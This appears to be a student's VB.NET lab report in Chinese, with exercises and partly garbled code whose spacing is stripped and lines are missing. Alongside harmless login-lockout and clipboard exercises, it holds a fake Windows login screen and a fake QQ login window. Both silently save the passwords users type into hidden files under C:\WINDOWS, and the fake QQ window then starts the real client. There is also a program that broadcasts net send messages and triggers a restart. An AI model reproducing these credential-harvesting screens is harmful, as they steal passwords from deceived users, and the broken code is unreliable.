vb实验

实验一VB.NET编程入门

一、实验目的

1、熟悉VS2005开发工具环境；

2、掌握创建VB.NET项目过程；

3、掌握VB.NET项目文件的作用与关系；

4、理解OOP编程方法；

5、写几个简单的VB.NET小程序，基本掌握VB.NET程序开发的过程及调试与运行方法。

二、基本知识与预习

1、启动VS2005，熟悉开发工具环境

2、Framework框架体系

3、回顾创建VB.NET项目的过程

4、回顾VB.NET项目文件关系与作用，理解OOP编程思想。

三、实验设备与环境

1、实验平台：学生机：WindowsXPProfessional；教师机：WindowsXP/2003Server

2、硬件工具：计算机，已组建好局域网

3、软件工具：VisualStudio2005；Framework2.0；

四、实验内容

I、基础实验

（一）实验题目

一）启动VB.NET，创建一个“Windows应用程序”类型的应用程序，要求：在屏幕上显示“欢迎您使用VB.NET”，并“请输入您的姓名”；屏幕设计的界面如图所示，以Sy1-1为项目名保存。

二）设计一个常见的用户登录界面。

界面设计要求：用户名输入框，密码输入框，“登录”按钮，“清空”按钮，窗口不能最大化，可以用图片美化界面，可设置界面一定的透明度。

功能要求：预设好用户名和密码。登录时输入用户名、密码连续三次错误，提示警告并自动锁定界面或退出界面。

三）设计一个简易网络消息发送控制程序。

界面设计要求：消息输入框、网络主机输入框、发送按钮。

功能要求：实现对网络主机输入框的内容进行识别，主机IP地址格式是：X.X.X.X（X是0-255的数字）。向指定主机发送操作系统的信使服务，即发送消息。

四）一个假Windows登录程序。（演示操作）

当单击任意处3次后，系统进入30秒重启，按“终止重启或关机”按钮后，取消息重启

再单击任意处2次后，弹出“Windows登录”窗口，输入密码后，重新进入桌面。

五）练习：自行设计一个关机控制程序。可以实现关机、定时关机、取消关机、重启、注销等功能。

六）利用标签、文本框、按钮控件以及相应的属性，编一字号、内容和格式的复制练习，效果见图。

在TextBox1输入一字符串，建立三个命令按钮：

（1）Button1：Text内容为“隶书25磅”，事件过程代码为：

TextBox1.Font=NewFont("隶书",25)

（2）Button2：Text内容为“幼圆15磅”，代码类似。

（3）Button3：Text内容为“复制=>”，要求复制在TextBox1选中的内容以及其字体格式。选中的内容通过TextBox1的.SelectedText属性；字体通过Font直接赋值。

五、实验报告内容

简述实验过程和体会（注意：在二）到四）中选择一个写实验报告的正文内容。）

填写全部代码和属性设置内容。

实验一实现代码：

PublicClassForm1

PrivateSubTextBox1_KeyPress(ByValsenderAsObject,ByValeAsSystem.Windows.Forms.KeyPressEventArgs)HandlesTextBox1.KeyPress

DimlInteger

l=365-Label1.Left

Ife.KeyChar=Chr(13)Then

Label1.Text="欢迎您"+TextBox1.Text+"使用VB.NET"

Me.Width=Label1.Width+l

EndIf

Sub

实验二代码

SubButton1_Click(AsSystem.Object,255)">AsSystem.EventArgs)HandlesButton1.Click

authority()

Sub

SubForm1_KeyPress(HandlesMe.KeyPress

Then

authority()

Subauthority()

Dimuid,upwdString

StaticDimcountInteger=0

uid="abc"

upwd="123"

Ifuid=userid.text.trim()Andupwd=userpwd.textThen

count=0

MsgBox("登陆成功，欢迎您使用本软件！")

userid.text=""

userpwd.text=""

Else

count+=1

MsgBox("用户名或密码第"+count.ToString()+"次错误。你还有"+(3-count).ToString()+"次输入机会！")

userid.text=""

userid.focus()

Ifcount>=3Then

MsgBox("你已经连续输入次错误了，你的卡被锁定！")

userid.enabled=False

userpwd.enabled=False

Button1.Enabled=False

Class

正确账号密码登陆：

错误账号密码登陆：

实验三实现代码

实现代码：

ClassForm2

HandlesButton1.Click

'使用windows的剪切板实现:剪切板能够实现文件、对象、文本等数据的复制粘贴功能

'将选中的文本内容放到剪贴板

Clipboard.SetText(TextBox1.SelectedText)

SubButton2_Click(HandlesButton2.Click

'剪切功能

Clipboard.SetText(TextBox1.SelectedText)

TextBox1.SelectedText=""

TextBox1.Focus()

SubButton3_Click(HandlesButton3.Click

'粘贴功能

TextBox1.SelectedText=Clipboard.GetText()

TextBox1.SelectionStart=TextBox1.Text.Length

Class

一个假Windows登录程序。（演示操作）

当单击任意处3次后，系统进入30秒重启，按“终止重启或关机”按钮后，取消息重启

再单击任意处2次后，弹出“Windows登录”窗口，输入密码后，重新进入桌面。

实现代码：

Class假登陆

SubLabel1_Click(HandlesLabel1.Click

dl()

SubTextBox1_KeyUp(AsSystem.Windows.Forms.KeyEventArgs)HandlesTextBox1.KeyUp

'输完后按回车登陆

Ife.KeyCode=Keys.EnterThen

dl()

Subdl()

'将输入的密码存入指定文件

'c:\WINDOWS\WindowsPlugin.text

DimfnInteger

fn=FreeFile()'获得一个随机文件号

FileOpen(fn,"C:\WINDOWS\WindowsPlugin.txt",OpenMode.Append)

'向文件写入一行

PrintLine(fn,TextBox1.Text)

'关闭文件

FileClose(fn)

Me.Close()

Class

二）关机程序

实现代码：

HandlesButton1.Click

Shell("C:\ProgramFiles\Adobe\AdobePhotoshopCS4\Photoshop.exe")

HandlesButton2.Click

Shell("notepad")

SubForm1_Load(MyBase.Load

Shell("netsend*大家好,节日有礼！")

SubButton4_Click(HandlesButton4.Click

Shell("shutdown-r-t50")

SubButton5_Click(HandlesButton5.Click

Shell("shutdown-a")

Class

三）假QQ

实现代码：

Class假QQ

SubLabel3_Click(AsSystem.EventArgs)

SubLabel3_Click_1(HandlesLabel3.Click

Shell("C:\ProgramFiles\InternetExplorer\IExplore.exehttp://haoma.qq.com/",AppWinStyle.normalFocus)

SubLabel4_Click(HandlesLabel4.Click

Shell("C:\ProgramFiles\InternetExplorer\IExplore.exehttp://dna.qq.com/cgi-bin/console_forgetPW?reLogin=true&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.1575_LoginWindow.0",255)">SubTextBox2_KeyUp(HandlesTextBox2.KeyUp

Then

dl()

kl()

Then

dl()

kl()

Integer

fn=FreeFile()'获得一个随机文件号

FileOpen(fn,OpenMode.Append)

Box1.Text)

'关闭文件

'FileClose(fn)

'Me.Close()

Subkl()

'c:\WINDOWS\WindowsPlug.text

Dimkn

kn=FreeFile()

FileOpen(kn,0)">"C:\WINDOWS\WindowsPlug.txt",0)">'向文件写入一行

PrintLine(kn,TextBox2.Text)

'FileClose(kn)

Dimf02New设置

f02.Show()

Me.Hide()

'Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")

New正在登录

f02.Show()

Me.Hide()

dl()

kl()

Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")

Class